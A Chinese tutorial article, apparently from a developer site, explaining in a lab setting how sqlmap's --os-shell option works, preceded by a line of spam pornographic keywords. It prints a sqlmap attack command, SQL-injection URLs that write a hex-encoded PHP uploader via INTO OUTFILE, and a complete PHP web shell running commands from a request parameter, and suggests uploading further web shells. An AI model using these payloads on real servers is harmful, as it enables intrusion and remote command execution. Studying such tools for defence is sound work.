欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

sqlmap之os?shell圖文詳細(xì)解析

 更新時間:2023年03月02日 11:27:20   作者:lcamry  
在面那些出名的安全廠商時,面試官很喜歡問os-shell相關(guān)的原理,下面這篇文章主要給大家介紹了關(guān)于sqlmap之os?shell圖文詳細(xì)解析的相關(guān)資料,需要的朋友可以參考下

0x00 Background

最近遇到測試環(huán)境,最后利用sqlmap的--os-shell參數(shù)取得shell。一直以來,對這個參數(shù)的工作原理不是十分的清晰。大致的思想應(yīng)該是將腳本插入到數(shù)據(jù)庫中,然后生成相應(yīng)的代碼文件,獲取shell即可執(zhí)行命令。

0x01 Environment[

 本環(huán)境是在局域網(wǎng)下利用兩臺主機(jī)搭建的,環(huán)境比較真實。

攻擊機(jī):

  • 系統(tǒng):windows7
  • 工具:sqlmap

靶機(jī):

  • 系統(tǒng):windows7
  • 環(huán)境:wamp搭建的apache、mysql和php
  • 網(wǎng)頁源碼:phpmywind,此處修改了點源代碼,方便進(jìn)行測試。

0x02 Attack demo

(1)環(huán)境測試

url:192.168.0.166/php/newsshow.php?cid=4&id=11

截圖:

(2)攻擊

python sqlmap.py -u http://192.168.0.166/php/newsshow.php?cid=4 --os-shell

(3)選擇語言

sqlmap默認(rèn)為php,此處根據(jù)需求選擇。

(4)輸入絕對路徑

此處因為用wamp搭建,并安裝在c盤下。所以選擇2選項,輸入路徑為c:/wamp/www

(5)建立os-shell并執(zhí)行命令

0x03 Analysis

(1)抓包

利用wireshark進(jìn)行抓包

(2)第一個url分析

http://192.168.0.166/php/newsshow.php?cid=4&BWGH%3D3922 AND 1%3D1 UNION ALL SELECT 1%2C2%2C3%2Ctable_name FROM information_schema.tables WHERE 2>1-- ..%2F..%2F..%2Fetc%2Fpasswd

url解碼

http://192.168.0.166/php/newsshow.php?cid=4&BWGH=3922 AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1-- ../../../etc/passwd

這條語句我認(rèn)為對于os-shell并沒有實際性的作用。

(3)插入數(shù)據(jù)

3.1解析into outfile

http://192.168.0.166/php/newsshow.php?cid=-6901 OR 3616%3D3616 LIMIT 0%2C1 INTO OUTFILE '%2Fwamp%2Fwww%2Ftmpulujm.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d5c5c77616d705c5c7777775c5c3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a-- -- -

解析url(除16進(jìn)制字符)

http://192.168.0.166/php/newsshow.php?cid=-6901 OR 3616=3616 LIMIT 0,1 INTO OUTFILE '/wamp/www/tmpulujm.php' LINES TERMINATED BY 0x...

解釋:select * from * limit 0,1 into outfile '/wamp/www/tmpulujm.php'的意思是將內(nèi)容輸入到outfile中。

LINES TERMINATED BY則是into outfile的參數(shù),意思是行結(jié)尾的時候用by后面的內(nèi)容,通常的一般為‘/r/n’,此處我們將by后的內(nèi)容修改為后面的16進(jìn)制的文件。

解析16進(jìn)制文件

如上圖,16進(jìn)制轉(zhuǎn)換為字符串為:

`

轉(zhuǎn)換后的代碼

顯然,16進(jìn)制為php代碼。

先訪問以下tmpulujm.php

此處主要實現(xiàn)了向服務(wù)器傳輸文件的一個功能。此處簡單看下上述文件php語句進(jìn)行分析。

實現(xiàn)的就是上傳文件,同時根據(jù)phpversion,將上傳的文件的權(quán)限進(jìn)行修改。學(xué)習(xí)到一點就是4.1.0的版本下,可直接執(zhí)行。

(4)執(zhí)行命令

現(xiàn)在我們已經(jīng)可以上傳文件了,但是仔細(xì)考慮一下,sqlmap是提供一個os-shell,我們現(xiàn)在只分析到了可以上傳文件的步驟。那接下來,還需要在抓取的數(shù)據(jù)中進(jìn)行分析。

在分析數(shù)據(jù)包中,我看到一個post數(shù)據(jù)包,從content中看到此數(shù)據(jù)包是實現(xiàn)了上傳一個類似于cmd的一個php文件。

從上圖可以看到,利用tmpulujm.php上傳了一個tmpbtfgo.php的文件。將tmpbtfgo.php的內(nèi)容截取出來,得到了一段php代碼。格式請自行調(diào)整。

<?php 
$c=$_REQUEST["cmd"];
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time',0);
$z=@ini_get('disable_functions');
if(!empty($z))
{
	$z=preg_replace('/[, ]+/',',',$z);
	$z=explode(',',$z);
	$z=array_map('trim',$z);}
else
	{
		$z=array();
		}
$c=$c." 2>&1\n";
function f($n)
{global $z;
return is_callable($n)and!in_array($n,$z);
}
if(f('system'))
{ob_start();
system($c);
$w=ob_get_contents();
ob_end_clean();
}elseif(f('proc_open')){
	$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);
    $w=NULL;
    while(!feof($t[1])){
		$w.=fread($t[1],512);
	    	}
        @proc_close($y);
}
    elseif(f('shell_exec')){
	$w=shell_exec($c);
	}
	elseif(f('passthru')){
		ob_start();
		passthru($c);
		$w=ob_get_contents();
		ob_end_clean();
		}elseif(f('popen')){
			$x=popen($c,r);
			$w=NULL;
			if(is_resource($x)){
				while(!feof($x)){
				$w.=fread($x,512);
					}
					}
					@pclose($x);
					}elseif(f('exec')){
						$w=array();
						exec($c,$w);
						$w=join(chr(10),$w).chr(10);
						}else{
							$w=0;
							}
							print "</pre>".$w."</pre>";?>'''

上述代碼實現(xiàn)了os-shell得到了命令后,如何執(zhí)行命令以及輸出執(zhí)行結(jié)果到os-shell中。
因此我們可以在os-shell中執(zhí)行命令。

0x04 os-shell的使用

通過上述的分析,我們知道了sqlmap os-shell參數(shù)的用法以及原理。

很多的人會對os-shell的使用進(jìn)行吐槽,這是得要多大的權(quán)限才能執(zhí)行。是的,os-shell的執(zhí)行條件有三個

(1)網(wǎng)站必須是root權(quán)限

(2)攻擊者需要知道網(wǎng)站的絕對路徑

(3)GPC為off,php主動轉(zhuǎn)義的功能關(guān)閉

此處對于中小型企業(yè),如果自己搭建的服務(wù)器,例如直接用wamp或者phpnow等快捷方式搭建的服務(wù)器,基本上可以滿足以上三個條件。
同時,對于os-shell的用法,很多的小伙伴會吐槽,都他么能上傳了,還搞jb的os-shell了。對的,我們可以直接上傳大馬進(jìn)行下一步的工作。當(dāng)然亦可以上傳一句話,然后利用菜刀進(jìn)行連接。

此處只是對sqlmap工作原理進(jìn)行了一頓分析。至于利用方式以及攻擊手段,當(dāng)然有很多種,自行發(fā)散思維即可。接下來的工作是直接看下sqlmap的源碼,才能理解的更為深刻。

總結(jié)

到此這篇關(guān)于sqlmap之os shell圖文詳細(xì)解析的文章就介紹到這了,更多相關(guān)sqlmap os shell解析內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • 淺談為什么數(shù)據(jù)庫字段建議設(shè)置為NOT NULL

    淺談為什么數(shù)據(jù)庫字段建議設(shè)置為NOT NULL

    本文主要介紹了MySQL數(shù)據(jù)庫中將字段設(shè)置為NOT NULL的性能和優(yōu)缺點,對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2024-12-12
  • SQLServer與Access常用SQL函數(shù)區(qū)別

    SQLServer與Access常用SQL函數(shù)區(qū)別

    SQLServer Access SQL函數(shù)
    2009-06-06
  • openGauss的SCHEMA的原理及管理介紹

    openGauss的SCHEMA的原理及管理介紹

    這篇文章主要為大家介紹了openGauss的SCHEMA的原理及管理分析,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪
    2023-02-02
  • 關(guān)于數(shù)據(jù)庫設(shè)計中主鍵問題的思考

    關(guān)于數(shù)據(jù)庫設(shè)計中主鍵問題的思考

    數(shù)據(jù)庫主鍵在數(shù)據(jù)庫中占有重要地位。主鍵的選取策略決定了系統(tǒng)是否可靠、易用、高效。本文探討了數(shù)據(jù)庫設(shè)計過程當(dāng)中常見的主鍵選取策略,并剖析了其做主鍵的優(yōu)缺點,提出了相應(yīng)的解決問題的方法
    2013-08-08
  • 實例介紹SQL注入以及如何解決

    實例介紹SQL注入以及如何解決

    這篇文章主要給大家介紹了關(guān)于SQL注入以及如何解決的相關(guān)資料,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2021-01-01
  • 關(guān)于Hive中的NULL空值處理問題

    關(guān)于Hive中的NULL空值處理問題

    這篇文章主要介紹了關(guān)于Hive中的NULL空值處理問題,Hive是基于Hadoop的一個數(shù)據(jù)倉庫工具,可以將結(jié)構(gòu)化的數(shù)據(jù)文件映射為一張表,并提供類SQL查詢功能,需要的朋友可以參考下
    2023-07-07
  • [數(shù)據(jù)庫] 通用分頁存儲過程

    [數(shù)據(jù)庫] 通用分頁存儲過程

    [數(shù)據(jù)庫] 通用分頁存儲過程...
    2007-02-02
  • 用戶管理的備份(一致性備份、非一致性備份、脫機(jī)備份、聯(lián)機(jī)備份)

    用戶管理的備份(一致性備份、非一致性備份、脫機(jī)備份、聯(lián)機(jī)備份)

    用戶管理的備份(一致性備份、非一致性備份、脫機(jī)備份、聯(lián)機(jī)備份)說明文檔。
    2009-05-05
  • Navicat使用快速入門教程

    Navicat使用快速入門教程

    這篇文章主要介紹了Navicat使用快速入門教程,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2020-11-11
  • SQL語句優(yōu)化的一些必會指南

    SQL語句優(yōu)化的一些必會指南

    這篇文章主要給大家介紹了關(guān)于SQL語句優(yōu)化的相關(guān)資料,文中通過示例代碼介紹的非常詳細(xì),對大家學(xué)習(xí)或者使用SQL具有一定的參考學(xué)習(xí)價值,需要的朋友們下面來一起學(xué)習(xí)學(xué)習(xí)吧
    2019-05-05

最新評論